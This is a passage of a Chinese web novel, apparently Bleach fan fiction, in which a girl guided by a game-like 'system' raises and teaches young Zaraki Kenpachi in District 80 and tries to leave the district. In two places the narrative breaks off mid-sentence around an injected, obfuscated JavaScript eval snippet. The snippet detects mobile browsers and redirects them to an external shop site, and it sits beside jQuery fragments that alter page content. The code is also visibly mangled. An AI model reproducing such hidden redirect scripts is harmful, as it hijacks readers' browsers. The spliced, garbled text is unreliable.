次日白天,两人的精神状态堪比丧尸,走路都打飘。 而后,又是一个不眠之夜。 在若月千纱的教学过程中,更木剑八终于昏睡过去,怎么摇都摇不醒。 若月千纱疲惫地扯开嘴角:“胜……我胜利了……” 她耷拉着眼皮,艰难地用布料把更木剑八的脑袋和身体固定在自己身上,躺在地上一睡不起。 这一觉格外绵长,直至日上三竿,两人才陆续醒来。 若月千纱解开身上的保险装置,把更木剑八从身上分离开来,站直身体,伸了个懒腰,舒展舒展手脚,原地蹦跶几下,听着全身上下骨头发出的咔哒声,倍感舒爽:“啊,终于活过来了!感觉之前徘徊在猝死边缘了……那时候绝对是太久没休息,脑袋缺氧,才会为了争一口气把自己折腾得那么惨。以后决不能二次犯傻!” 更木剑八仍被绳索捆着,如野兽般四足而立,幽幽地看着她。 “这一局,是我赢!”若月千纱得意洋洋地宣布胜利,目光在他嘴唇上一凝,“呀,不好,忘记投喂崽崽了,这可是养育者最基本的素养啊。说起来,我也口渴得很,是时候补充水分了。” 不过,目前她面临一个极大的问题。在狩猎期间,她该怎么安置五花大绑的崽崽呢? 若月千纱很苦恼。 大门只能从屋内落锁,若将更木剑八关在房屋里放置不管,等同于放他自由,他绝对会一去不返。若将他打晕丢在屋子里,他有一定概率被人发现,变成人干。 若带他一起狩猎,又会产生诸多问题。他被绳子捆得严严实实,战斗力被无限削弱,走都走不了路,于她是累赘,于旁人,则无异于打包好的食物,惹人觊觎。 她有以寡敌众的本事,但不具备一心二用的技能,既无法在众多敌人面前保护他、不让他被人抓走,也做不到一边战斗一边看管他、不让他逃跑。 不然,将他解绑,带他一起捕猎? 她毫不怀疑,到时候松绑的崽崽会站在她的对立面,成为她的头一号敌人。 这也不行,那也不成,若月千纱很头疼。 但是,除非拖到两人渴死,否则她必然得做出最终选择。 “养个崽,怎么就这么难啊!”若月千纱愁眉苦脸,“就没有什么办法,既能让我不用担心他逃跑或被人抓走,又能够让我战斗的吗?啊……” 她灵机一动,想出了一个好点子。 “我真聪明!这样做的话,岂不是两全其美?” 12.第十二章 若月千纱的行动力极强,很快便用衣服做出自制布背带,将奋力挣扎的更木剑八捆绑住,固定在背上,多绑了几条自制绳索加固,以防他乱动摔下去。 更木剑八被包成襁褓里的婴儿,手脚不得动弹。比前几日更强烈的束缚感让他极度不适,他难得发声抗议:“唔唔——” 然而,若月千纱没理会他。 她背着更木剑八,不时调整身体重心,走走、跑跑、跳跳、左右腾挪、对着空气拳打脚踢,感受负重时身体的各项变化。 “背着沙袋……哦不,背着崽崽,速度、敏捷性之类的数值果然下滑了,得重新适应一番。幸好崽崽小小只的,重量有限,对战斗力的影响在接受范围之内。” 若月千纱在屋内折腾半晌,完全掌控身体变化后,背着更木剑八出门狩猎。 少女背着幼儿,柔弱加脆弱的组合,堪称买一赠一的大礼包。在偌大的捕猎场中,若月千纱和更木剑八的出场造型是独一份的,格外亮眼,仿佛误入狼群的两只小绵羊,引人垂涎。 他们甫一亮相,就有人红了眼,朝他们扑来。 “哇哦,这架势,比我单独外出时更热情呢。这几个人弱是弱了点,但可以用数量弥补质量,而我需要顾及崽崽安全,放不开手脚。此消彼长,也算势均力敌吧?好久没单挑一群人了,略感手痒啊。” 若月千纱眼里放光,跃跃欲试,兴奋地静候狩猎自己的包围圈成形。 觊觎他们的几个人误以为少女被他们吓傻了忘记逃跑,殊不知自己才是他人眼中的猎物。 一场看似实力悬殊的一对多战斗拉开了序幕。 环境对人的同化能力无与伦比。两年前,若月千纱身陷你死我活的处境时,只觉得恐惧、惊慌,只想提升武力值存活下去。而如今,她早已习惯弱肉强食的生存环境。非但如此,由于此地没有任何娱乐,她竟逐渐从激烈的战斗中寻摸出些许乐趣,对此有些上头。 深陷于数人的包围圈内,她的眼中却不见任何恐慌,反倒渐渐染上一丝狂热,主动发起进攻。 正如若月千纱所料,这群人的整体战力并没有超越她,只能和她打个旗鼓相当。 人数多确实是个优势,可惜他们不够团结,只是一盘散沙,彼此之间没有默契,配合不足,获得的战力加成有限。 换做平时的若月千纱,她会抓住这个大破绽,将这群人逐个击破。不过,背上多出一个需要全方位保护的幼儿,确实局限了她的打法,让她产生缚手缚脚的感觉。 为了保护好更木剑八,她不得不在战斗分心,反应速度慢了一拍,攻击、防守难以兼顾,被他们击中好几次,还用身体硬接了两记卑劣的拳头。 那两拳性质不同,让她铭记于心。 “嘶——单挑和群殴就是不一样,好久没被人结结实实打中过了,真疼啊。那个下黑手的,对,我说的就是你,你挺会挑时机的嘛,攻击的角度也很刁钻阴险,硬逼我挨了两下。”若月千纱于百忙之中抽空斜晲那人一眼,笑容狰狞,“勇士,恭喜你,你被我选中了!” 在80区待久了,什么人能惹,什么人不能惹,每个人心中自有一杆秤。见若月千纱能在他们的围攻下坚持住,身中数次攻击仍屹立不倒,还反过来撂倒几人,他们便深知自己看走了眼,挑中了硬茬子,惹上了不能惹的人。 会把目标瞄准弱者、且不自觉抱团的人本就是欺软怕硬的弱者。“柔弱”少女越打越勇,还露出恶鬼一般的笑脸,把其中几人的胆气吓没了。他们遵从本能,迅速脱离战团,战略性撤退。 顷刻间,对面的战力七零八落。剩下的几人招架不住她的攻击,不敢恋战,也四散逃开。 “哎,为什么要逃?我们不是打得不相上下吗?好歹多坚持一会儿啊!我还没打过瘾呢!啧,和这种人打架真没意思,弱归弱,还没半分志气。”若月千纱失望透顶,撇了撇嘴,向某个方向追去,“他们可以逃,你不行。你忘了吗?你可是被我选中的勇士呢!” 她追上“勇士”,面对他那张扭曲害怕的面孔,嘿嘿一笑,三两下将他打晕,拖走。 附近的人亲眼看见她一打多的壮举,深知眼前这个少女并不柔弱,不敢打她的主意,任由她把人拖进附近的空房子里,落锁。 “养崽的自我修养,将喂饱崽崽摆在第一位。”若月千纱把猎物往地上一丢,蹲在地上解开布背带,将更木剑八抱到男子身旁,拿掉他嘴里的布团,摸了摸他的脑袋,摁向男子颈侧,“喏,口渴了吧?他是你的了,喝吧。” 她的动作简单易懂,更木剑八立即明白了她的意思。 然而,他并未向猎物张牙,而是扭头恶狠狠咬向她的手。 “呜哇!”若月千纱吓了一跳,赶紧抽开手,“你干什么呢!?咬错人了啊!” 更木剑八不依不饶,一蹦一跳地从地上弹起,向她咬去。 他的眼神前所未有的凶恶,燃烧着如火焰般汹涌的愤怒。 若月千纱十分费解。 她没有做出任何对他不利的事情,甚至没有让旁人伤到他分毫,只是遵循养崽攻略,捕捉猎物喂养他罢了! 他为什么会那么愤怒呢? 若月千纱一头雾水,一边躲避更木剑八的攻击,一边琢磨他生气的点。 他的嘴唇已干裂流血,身体明显处于严重缺水状态,肯定也觉得口渴。可他没有对昏迷的猎物下口,却反过来冲实力悬殊的她龇牙。 是她这几日禁锢他的行径让他忍无可忍,以致于气愤到昏了头,放着咫尺之间的猎物不顾,也不管他们目前天差地别的战斗力,不想着咬断绳索解放四肢,却只想着向她撒气吗? 总觉得答案不对。崽崽是个藏不住眼神的人,在她背起他出门前,他的眼神的确很不友善,但分明不是愤怒。 可任何物种的本能都是生存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872132|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总是下意识追寻生命之源。若不是他昏了头,怎么可能看都不看一眼地上动弹不得的猎物…… 动弹不得的猎物? 若月千纱的直觉向她发出信号,让她莫名在意这七个字。她咂摸片刻,脑中一道灵光闪过,恍然大悟。 “他可是输给我无数次,却不曾畏惧过我,仍不断地向我发起进攻的更木剑八啊!以他的心性,怎么可能去享用别人狩猎到的失去抵抗力的猎物呢?我不能因为他的外形像幼儿,就真把他当成家养的寻常幼儿对待。” 弱者向更弱者挥刀,强者拔刀向更强者。她怎么忘了这件事呢?更木剑八他呀,年幼归年幼,但根本不是个弱者呢。 他可以接受自己实力不如人被人打败、捆绑或囚禁,因为失败者本就任人宰割,那是胜者的权力,他输得坦荡。但是,他不接受嗟来之食。被人当成需要投食的弱者,对他来说是种极大的屈辱。 若月千纱知错就改,向暴怒的更木剑八低下头道歉:“对不起,是我的错,请你原谅我。” 然而,更木剑八看不懂她这么做的含义,也听不懂她说的话,固执地追着她咬。 若月千纱无奈地将他抓住,重新封住他的嘴:“所以说,教育很关键啊。你赶紧学会听说读写吧,不然我们该怎么沟通交流呢?我不想一直捆着你呀。” 她抱着更木剑八走到猎物身旁,坐下。 更木剑八误以为她要用强硬手段喂他喝血,眼中怒意更炽,挣扎得更加厉害。 “乖,消停一些,别打扰我用餐啊。” 若月千纱用一只手臂禁锢住乱动的更木剑八,另一只手撑在猎物身侧,向他俯身,张嘴。 更木剑八看到她的举动,挣扎的力道有所减弱。 他的反应验证了若月千纱的猜测。 她适当地缓解口渴感后,从手腕上解下一根布条,简单地替猎物包扎了一下伤口,抱着更木剑八走出房屋,拉上门。 她把更木剑八放在地上,一边格挡他的攻击,一边艰难地解开他身上的所有绳索。 更木剑八愕然地看着一道道绳索从他身上脱落,怒气值直线下降,止住了挣扎。 “就算是关在动物园里的猛兽,也需要一定的活动空间和自由。为了成为合格的养育者,剑八,以后我会尽量给予你自由。”若月千纱卸去他所有的枷锁,目视他的双眼,指向不远处的狩猎场:“去尽情狩猎吧!” 自由来得太突然,让他有些措手不及。 更木剑八看了看手腕和脚腕处被绳索勒出的淤痕,再抬头看了看她,犹豫了一下,才从地上爬了起来,站直身体,活动起蜷缩多日的身体。 若月千纱静立原地,暗自提高警惕,默默地看着他热身,把解下的绳索绕到手臂上,回收利用资源。 更木剑八舒展开身体,朝她瞥来一眼,不待她看清他眼中的情绪,便头也不回地直奔向狩猎场。 13.第十三章 若月千纱心下微讶:“真意外,崽崽竟然没有攻击我?” 她都做好先和更木剑八打一架的准备了呢。 她目送他跑出几十米远,而后提步追上前,和他保持同样的速度:“不过,我能给予你的自由,也只是有限的自由。再怎么说,你都是我家崽崽了,不能放生呐。” 无论是为了在危急时刻保驾护航还是抓回没有归属感的逃家崽崽,他都必须处于她的视线范围内,这是不能妥协的底线。 更木剑八一头闯入狩猎场中,直奔向他看中的猎物,捉对肉搏。 若月千纱在不近不远处,随着他的移动不停地变换位置,寻找最佳观战点,保证无人挡住她的视线。她一边警戒四面八方可能发动的攻击,一边观赏他的捕猎。 更木剑八很会寻找目标,他的体格、高度、力量、速度、技巧等项数值或高或低,和对手形成鲜明的对比,但他的综合实力却微妙地和对方处于同一水平线上。 势均力敌的战斗最是激烈,观赏度极高,让局内人和观战者的肾上腺激素同时飙升。 若月千纱攥紧了拳头。 从更木剑八的对战中,她看到一些熟悉的招式轮廓。 这小子果然是武学天才,她才和他正经战斗几回,那些招式用过没几次,居然就被他偷了师,用得像模像样! 他的实力一直在进步,反观她自己,自从她自忖彻底掌握白打的初级技能后,她进入瓶颈期,心态也飘了,已经有相当长的一段时间没有好好训练,实力停留在原地许久,毫无寸进。 乌龟尚且能跑过怠惰的兔子,更何况,更木剑八不是慢速的乌龟,他长着飞毛腿。 强烈的危机感涌上她的心头。 从今夜起,她是否该趁更木剑八睡着后,把技能训练捡起来温故知新,以期靠滴水穿石的韧性突破瓶颈? 她只是走神一小会儿,更木剑八便赢得了胜利。他打量四周片刻,确认暂时安全后,开始享用战果。 若月千纱在一旁替他戒备,以防有人趁虚而入。每个靠近他的人,都会从她那里获得锲而不舍的凶狠视线,直至他们离开。 我盯—— 在她的监视兼保护视线下,更木剑八用餐完毕。 他站直身体,舔了舔嘴唇,脖子一拧,目光没有偏移半分,直射向她。 两人的目光隔着数十米距离碰撞在一起。 他们对视不过一两秒,更木剑八便扭回头,以最快的速度跑向远方。 “我就知道会这样!” 若月千纱哀嚎一声,如箭矢般朝他急射而去。 经过一番你追我赶、你进我退、你攻我防、你守我跑的熟悉拉锯战后,更木剑八被她双手反锁,面朝下摁在地上。 “哟西,运动时间结束。剑八,我们回去吧。今天教你新的词汇吧,唔,我好像还没教你彼此的称呼?那就这个吧,你要叫我姐姐……” 若月千纱一边和更木剑八单向对话,一边解开手臂上的绳结,将绳索握在手中,准备重新将他打包好。 意外的是,手下的人并未像从前那般大力挣扎,即将被绳索加身也没有抵抗。 她正觉得奇怪,就见被她无视了几日的蓝紫色蝴蝶突然飞到她面前,幻化成一面两年未见的蓝紫色光屏。 【任务:得到更木剑八的认可(1/1)已完成,发放任务奖励:基本技能——白打(中级)】。 “诶?” 猛地看到日思夜想的任务结算窗口弹跳出来,若月千纱不敢置信地眨了眨眼睛,一脸懵逼。 她得到更木剑八的认可了?为什么? 她刚才做了什么不得了的事情吗?没有吧,她只是一如既往地打败他罢了,那对他们来说已是稀松平常的日常啊。 难道那是压倒骆驼的最后一根稻草? 若月千纱疑惑不解,但这不妨碍系统为她结算任务奖励。 暌违两年的热流充斥她全身,须臾后褪去,只留下进阶版的武道意识及感悟。 若月千纱热泪盈眶:“不是错觉,太好了!” 最近对更木剑八干了太多常识中的坏事,她心虚得很,下意识以为任务完成之日遥遥无期,却不料这一日来得这般早……为什么刻在她记忆里的常识总是与现实相悖?难不成她的做法其实很正常,错的是缥缈无根的常识记忆? 一颗怀疑的种子就此在她心里埋下。 她看了看在她的钳制下难得老老实实的更木剑八,想了一下,悄悄地把垂到地上的自制绳索收回来,系回手腕,松手。她若无其事地把他从地上拉起来,帮他拍了拍身上的灰尘,牵起他的一只手,露出人畜无害的微笑:“走,剑八,我们回去。” 更木剑八认可了她,她应该也给出自己的诚意,缓和他们之间的关系。 捆绑什么的,实在不利于他们培养感情。 如果他想反抗? 随他!她本就更强,现在技能又升了个级,难不成能被他咸鱼翻身么? 新的任务奖励让她有恃无恐,主动伸出友谊之手。 大手牵小手,小手挣扎着,却被大手紧紧裹住,没能抽走。 若月千纱拉着更木剑八的小手,一路上不曾放开,一起回到他们的小屋。 只要忽略他一路上接连不断的超近距离攻击,这无疑是一幕温馨的画面。 那一日成为他们之间关系的重要转折点,改变了他们的相处方式。 他们之间最大的改变就是——若月千纱不再用绳索把更木剑八绑成粽子。 白天时,她放任他在屋里自由活动,但是会用强制手段禁止他出门。对打,教学,两者循环反复,这便是他们的日常。 夜晚时,她也不再捆绑住他,只是依旧抱着他入睡,顺带培养自己对危机的警觉性和反应速度。每一夜,他们都会在打累后共眠。中途,她会被他的突袭惊醒几回,将他的攻击一一化解掉,而后继续睡觉。 不得不说,更木剑八是个极好的陪练对手,助她飞快地掌握白打中级技能。 没有绳索的束缚后,更木剑八对 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有谁懂得养崽几个月却得不到任何回应的痛? “我已经有多久没和人正常交流过了呢?”若月千纱微笑怅然,伸手去摸更木剑八的脑袋,“剑八,你要快点学会说话,姐姐很期待和你一起聊天呢!” 更木剑八习惯性地想要躲开她的手,看到她飘忽的笑容后,不知为何愣了一下,竟被她得逞。 若月千纱心满意足地撸了撸他的脑袋,全身心投入到教导他事业中去。 更木剑八的改变加速了她的教导速度,早几个月被她选中的纸笔替代品终于派上了大用场。 她用碎石块在墙上刻上五十音图,不厌其烦地教他发音。 她从五十音教到平假名、片假名,待他掌握熟练后,又教他日用单词、常用短语和简易语法,辅导他写字。 由于此地过于荒芜,若月千纱没有示范的实物让他一一对照学习,只能在墙壁上及地上刻上一幅幅抽象的简笔画,并在图画下面一一写下对应的文字并注音,以便他尽快掌握语言。 虽说她不是灵魂画手,画的图案有模有样,但毕竟是简笔画,也无法着色,和实物有差,更别提更木剑八没有亲眼见过那些东西,要记忆这些东西格外艰难。 最难教的词汇莫过于无形的色彩。她能教他的只有目所能及的颜色,譬如天空的蓝色,云彩的白色,乌云的灰色,鲜血的红色,土地的红褐色,木屋的深棕色,皮肤的黄色以及头发的黑色。除此之外的颜色,她无法描述。 若偶遇有特殊发色或多彩衣饰的人,她便会如获至宝,将那些来之不易的颜色指给更木剑八看,在他的颜色词库里多添几种色彩。可惜的是,那种概率极其之低,更木剑八甚至没能认全彩虹的七彩色。 他们一个教一个学,很快,他们的房屋四壁及地板便被刻下密密麻麻的文字和图画。待无处落笔时,她便带着更木剑八更换住所,继续在新的房屋里刻下字迹。 14.第十四章 随着画满涂鸦的房屋不断增加,更木剑八对语言的掌握程度越来越深,语速从最初的磕磕绊绊变为通顺流利。 若月千纱丢失了记忆,又缺乏和外界的语言交流,没有和外人深谈过,以致于犯了个大错。她不知道,在她脑海中根深蒂固的语言知识,其实和时下的语言有非常——非常大的区别。 她怎么教,更木剑八便怎么学,学得极其痛苦吃力,殊不知自己掉入了一个怎样的无底深坑。在未来,他和他的养育者将在语言上□□壁,并需要一起进行回炉重造。他不知道,至今在他心中一点一滴积攒出来的学习阴影,将在未来无限扩张,成为更加深沉的噩梦。 当然,那些是后话。 此刻,他们正使用着这个世界仅他们二人能够完全理解的语言进行对话。 “你在干什么?” 长了些个头的刺猬头幼儿仰着脑袋,疑惑地看向上课上到一半突然愣住,而后莫名其妙手舞足蹈的少女。 若月千纱开心得原地转圈圈,嘴角和太阳肩并肩,眼睛眯成一条缝:“我在为你高兴!剑八,你终于摘掉文盲的标签了!恭喜你,你毕业了!” 天知道从零开始教育一个孩子有多难!还有,不知道系统是怎么制定标准的,她去年就觉得更木剑八已脱离文盲行列,但系统死活不提示任务成功,硬生生让她多教了一年多! 现在,经系统认证,更木剑八扫盲成功,而她不仅从苦逼的教师身份中解放出来,还获得了白打的高级技能!她好高兴啊! 更木剑八眼睛一亮,扔掉手上的碎石块,被学习折磨得沧桑的小脸上满是希望,从地上蹦了起来:“我不用学习了吗?太好了!千纱,来战!” 在近几年的不断切磋下,他的实力飞涨,已经和若月千纱相差无几。在最近几日的战斗中,他们甚至打出过一次平局。 “要战便战!哼哼哼,别以为我还是之前的我,升级后的我战无不胜!”她眉毛一挑,话锋一转,“不过,得加点彩头。老规矩,我赢了的话,你要喊我一声姐姐!怎么样,来不来?” 她非常后悔过去向更木剑八解释姐姐的含义的事情。在那之前,他以为“姐姐”是她的名字,一直喊她姐姐,听得她通体舒泰;在那之后,他只肯喊她名字,让她倍感遗憾,只能借着战斗多听一回。 更木剑八斗志满满:“来!如果你输了,以后不准再摸我的头!走,外面打……为什么不动?” 若月千纱盯着半空的蓝紫色光屏,心潮澎湃:“宅在屋子里太久,我差点以为世界就那么那么点大小。80区啊,原来我脚下的土地被称为80区吗?按照数字排列,至少还有1区、2区直到79区吧……世界那么大,我要去看看!剑八,我带你离开这片区域,去游览你只在画中见过的大好河山吧!” “什么画中的大好河山?”更木剑八对她的话表示不解,“那不就是几条弯弯绕绕的线条么,有什么好看的?走,对练去!” 若月千纱怜爱地看着她家从未见过绿树、青山、秀水的可怜孩子,想去抚摸他的脑袋。大自然鬼斧神工的壮丽景色可美了,想当年,她…… 她的记忆里一片空空荡荡。 这山,这树,这水,她应该亲眼见过,脑海里也残留着几幅画面,但她的记忆里却没有相应的回忆。 她默默地收回伸向前方的手,摸了摸自己的脑袋,视线转回蓝紫色光屏。 【姓名:若月千纱 武器:无 基本技能:白打(高级) 武力值:略有小成 被养育者:更木剑八 任务:带被养育者走出80区 任务奖励:基本技能——斩术(初级) 注:斩术:刀剑斩击之术】 她把系统任务牢记于心,瞥了眼刚幻化成形的蓝紫色蝴蝶,向门外走去:“来了!” 不知道别的区域有没有天然的水资源?她好想念没有铁锈味的甘甜的水,还想痛痛快快地洗一回澡! 她在战斗中杂念过多,险些阴沟里翻了船。 险胜更木剑八后,她抹了一把虚汗,揉了揉他的脑袋:“叫姐姐!” 更木剑八愿赌服输。他甩了甩脑袋,把她的手甩开,大大方方地喊道:“姐姐。” 若月千纱眉开眼笑,通体舒畅:“哎!乖弟弟!” 享受完胜者的滋味后,她伸手一指远方,抑扬顿挫地喊道:“剑八,我们远行吧,一起前往更美好的远方!” 更木剑八对此兴致索然:“来,我们再战几场!” 若月千纱重新组织语言,话语蛊惑人心:“附近已经没有堪称对手的强敌了,和他们战斗,你已经享受不到多少乐趣了吧?在别的地方,我的实力不值一提呢。你想不想和比我更厉害的强者交手?” 毕竟,她的武力值在系统看来只能算“略有小成”,放在游戏里大概刚达到出新手村的水平吧。她或许能称霸小小的80区,但80区外是更广阔的世界,想必强者如云,她不过是沧海一粟。 更木剑八的眼睛熠熠生辉:“想!我们走!” 他一改之前的冷淡,越过若月千纱就要往她指的方向走。 若月千纱讪讪地放下手,拉住他:“不,我只是随便指了个方向……我根本没有地图,系统也不肯开启指路模式,哪里知道哪个方向是正确的?” 更木剑八对她口中看不见、摸不着、概念不明的“系统”二字置若罔闻,坚定地往那个方向走去:“反正都要选一个方向前进。” 若月千纱信服地点头:“有道理。听你的。” 两人毫不留恋地抛下记录着他们这几年教学时光的数间房屋,大步流星地走向远方。 若月千纱不知道离开80区的路线,干脆任由腿短的更木剑八在前方带头。她把带路的职责全权交给他,自己难得偷一回懒,放空大脑,迈着大长腿悠哉悠哉地跟在他身后,遐想着脱离80区后的美好未来,不时发出几声窃笑。 现在的情况和几年前不同。 当初,她的目标是寻找更木剑八,不得不走遍搜寻范围内的每一寸土地,兼之实力不济需要加强锻炼,每日只有数个小时的事件用来找人,还要躲着人走, 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七天,八天,九天…… 若月千纱惊叹道:“80区比我想象中大好多啊!” 更木剑八附和着点头:“嗯。” 第十三天,两人推开一间无人的房屋,看清屋内后,同时陷入沉默,场面一度十分尴尬。 只见屋内的四面墙壁及地板上乱七八糟地刻着各种文字、符号、数字和简笔画,挨挨挤挤在一起,密密麻麻一片。在旁人眼里,那些痕迹只是胡乱涂鸦或鬼画符,但对他们而言,它们却是一段不堪回首的回忆。 若月千纱被眼熟的字迹撞了一下心脏,捂着胸口,止住呕血的冲动:“……剑八,原来你是路痴?” 更木剑八反驳道:“我才不是路痴!” “那么,这间屋子是怎么回事?它长腿跑在我们前头了?” “……不知道,可能哪天出门走了反方向吧。” 好有道理,他们没有地图、指南针或导航,走错方向也是正常的—— ——正常个鬼啊!她当初指的可是东方!白天出门时不向着太阳方向走,本身方位感就有问题吧! 远行十三天后,他们再度回到了起点。 若月千纱扶额:“明天你继续带路,我会专心跟着你。” 两人在曾经的住所里歇了一晚,天明后启程。 若月千纱格外注意更木剑八的前进方向。 出门后,方向为东,正确。 遇到障碍物——厮杀的人群——左拐避开,绕回原路…… 等等,180度大拐弯怎么变成120度转向了?路线已偏航!喂喂喂,剑八,你没发现太阳的位置不对么? 若月千纱伸出右手,抓住左手腕,按住。 别急,或许他想一起绕过更前面的房屋,等一会儿便会回归原路。她要有耐心! 更木剑八继续向前走,被房屋挡住,左拐…… 左拐什么左拐,向右啊!啧,你不打算归位么! 15.第十五章 若月千纱捂住蠢蠢欲动的嘴巴。 她决定不干扰更木剑八,看他究竟会怎么走! 而后,她见识到路痴是怎样花式迷路的。 她的胃有点疼,吐槽欲高涨。 剑八,你没发现太阳被我们甩到身后了吗?另外,你不觉得刚才路过的那栋屋子非常眼熟吗?白天我们刚从那里面出来的喂! 怪不得前几天她总觉得周围景物有点眼熟,她严重怀疑,他们这十几天就没走出过方圆十公里范围! 没有方向感的路痴堪称撒手没。这几年来,她下意识不让他离开身边,总是带他一起出门狩猎,真是做了个英明的决定!不过,正因如此,她一直没能发现潜藏在他体内的路痴属性,导致这次闹出大乌龙。 若月千纱把手搭在更木剑八肩上,轻轻地拍了几下,语气微妙:“剑八,你果真是个大路痴啊。” 更木剑八止步,转身,严肃脸:“我不是。” “你就是!” “我不是!” “……嘴还挺硬的。罢了。剑八,之前是你带路,从现在起,轮到我了!” 若任由更木剑八带路,再过十年,他们或许都走不出80区。 轮流制是个好理由,更木剑八觉得很公平,没有异议:“好。” 两人交换前后位置,再次启程,向着东方前进。 一天,两天,三天…… N天后,若月千纱向更木剑八求证道:“剑八,你有没有觉得,我们越往前走,房屋和人就越来越少,位置越来越偏僻?越繁华的地方应该人口密度更大、建筑更密集才对。你说,我们会不会走错了方向?” 更木剑八回以一脸迷茫:“有吗?” 若月千纱对他的回复持保留意见,想了想,继续向前走了一天。 她环顾四周稀稀拉拉的房屋,人口密度极低的土地,果断拍板道:“调整路线,掉头,向西方前进!哎,一次性蒙对方向的好运果然不属于我。” 更木剑八点了点头,一马当先向来路折返。 若月千纱抓住他的胳膊:“你去哪?” 更木剑八理所当然地答道:“轮我带路了啊。” 崽崽很积极,若月千纱十动然拒,脑袋摇成拨浪鼓:“不不不,轮流制要按时长计算。时间未到,还是我来。” 她才不想陪他走迷宫呢! 她说服了更木剑八。 两人重新上路,几日后再次修正路线,往北方前进。 这一次,他们比之前更早碰壁。 “真有我的,四选一都能猜错三回。排除三个错误答案后,最后一个总该是正确答案了吧?剑八,我们往南边走!” “好,我来带路……” “不对不对,剑八,你算错时间了。你的算数不太行,回头我再给你补补课。” “啊?” 若月千纱越过脸色发青的更木剑八走到前头,悄悄地捂住胸口,良心略疼。 剑八,请原谅我善意的谎言,我这是为了大家好啊。 不过,说话要算话,算数补习计划得列入日后的日程里。 北行果然是正确的路线。他们向着北方行进几日后,明显感觉到周围的房屋越来越密集,人口密度也更高。而且,越往北走,他们遇到的人更加好战嗜血不畏死,实力更强,狩猎场的情况也更加惨烈,令人触目惊心。 不知打倒第几个不知死活地冲向他们的人后,若月千纱后怕道:“幸好我当初不是在这里醒来的,否则有九条命都不够啊!如果我还是初级白打的水平,这会儿早该躺下了。啧啧,我那会儿真是猴子称霸王啊。” 更木剑八将顽强爬起的对手捶晕,满身战意,催促道:“快点走,我想要实力更强的对手!” “好好好!”若月千纱迭声应道,“他们的实力确实还差一点,我也想找厉害的对手玩玩。” 他们在厮杀的人群中杀出一条血路,继续向前走。 不足半天时间,他们看到了目标的终点。 两人愕然止步,看着展现在眼前的奇特景象,异口同声道:“那是……什么?” 只见在他们百米开外的地方零零散散地站着一些人。他们摆出各种张牙舞爪的奇怪姿势,不停地做出前进的动作,却又止步不前。更奇怪的是,他们的身体排列得整整齐齐的,可以横向连成一条笔直的直线,仿佛他们身前竖起了一道隐形的屏障,让他们无法前进半分。 在更远的地方,则是一片郁郁葱葱的树林,连成铺天盖地的一大片绿色。 若月千纱盯着那些人,手指摸着下巴:“麻烦了,那么多人都被拦住了。想要离开80区,看来没那么容易。我们该如何穿过那道看不见的屏障呢?” 更木剑八用手肘捅了捅她,指向那片树林:“千纱,那是什么?” “对了,那些就是我曾教过你的树木!树叶的颜色就是绿色,它的发音和文字是这样的。”若月千纱被他转移了注意力,师魂上身,蹲在地上捡起一块石头,兴致勃勃地往地上刻字,现场为他解惑,“随着季节的变化,有些树木的树叶还会跟着变色,变成黄色或红色。” 更木剑八定定地看着那些树木:“它们和你画得不一样。” 若月千纱解释道:“正常,我画的是简笔画,又不是素描,追求的是以形似求神似。” “形状完全不同。” “你以为树木有多少种形状?意会啦意会。” “……” “学习新词的事情暂且后延,我们先去闯一闯那道无形的屏障吧。不管能不能穿过去,总要试一试。” 更木剑八的目光在地上的文字上一触即离,表情一绷:“走走走!” 若月千纱注意到他的小表情,眼中含笑。 逃也没用,早学晚学,不一样得学吗? 两人一起跑向那道看不见的屏障。 若月千纱在靠近那道由许多人连起的界限时降低了速度,而更木剑八却没有停步,直愣愣地全速直冲过去。 若月千纱赶紧喊道:“慢点,万一那道屏障很坚硬,你会撞得头破血流——” 更木剑八置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943577|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若罔闻,一头扎了过去。 “啊!……啊咧?” 若月千纱惊叫一声,生怕他脑袋开花,不料却看到他越过所有人,抵达一线之隔的对面。 无数双眼睛倏地看向和他们隔着无形屏障的更木剑八。他不为所动,转身看向和他几步之遥的若月千纱,等待她突破屏障:“快点过来。” 落在他身上的视线随之转移到若月千纱身上。 “稍等一会儿,我马上就过去!” 若月千纱不像更木剑八那般莽撞,在无形屏幕前停下脚步,转动脑筋。 别人过不去,更木剑八却可以,他们之前的区别在哪里呢? 她若有所思,脱口而出:“想穿过这道屏障,难道不能用走的,而是要以一往无前的气势冲过去才行?” 周围密切关注她的一群人竖着耳朵,没有听漏她的声音。虽然她说话的用语颇为怪异另类,但他们大致听懂了她的意思,眼中燃起了希望。 他们的眼神太过炽热,若月千纱不由得注意到他们,赶紧打补丁道:“我只是随口猜测……”未必可行。 话音未落,有几个性急的人已经往后倒退几步,向前方猛冲而去。 半空中有几道如水纹般的痕迹荡漾开来,几人被强劲的反弹力高高弹开,在半空中划过一道优美的弧线,重重地摔在地上。 若月千纱仿佛听到骨裂的脆响,一阵牙酸,于心不忍地别开视线,喃喃道:“话要听全啊,怎么可以无脑莽冲?我可没有怂恿他们当实验小白鼠啊。不过,多亏他们,我可以排除掉这个假设了。” 那几个人摔得极狠,却挣扎着爬起来向她靠拢,眼中怒火熊熊。 能够活着到达此处的人的战斗力都处于80区金字塔顶尖,联起手来绝不逊色于她。她怕被他们围殴,不敢久待,伸出手小心翼翼地向前方无形的屏障探去。 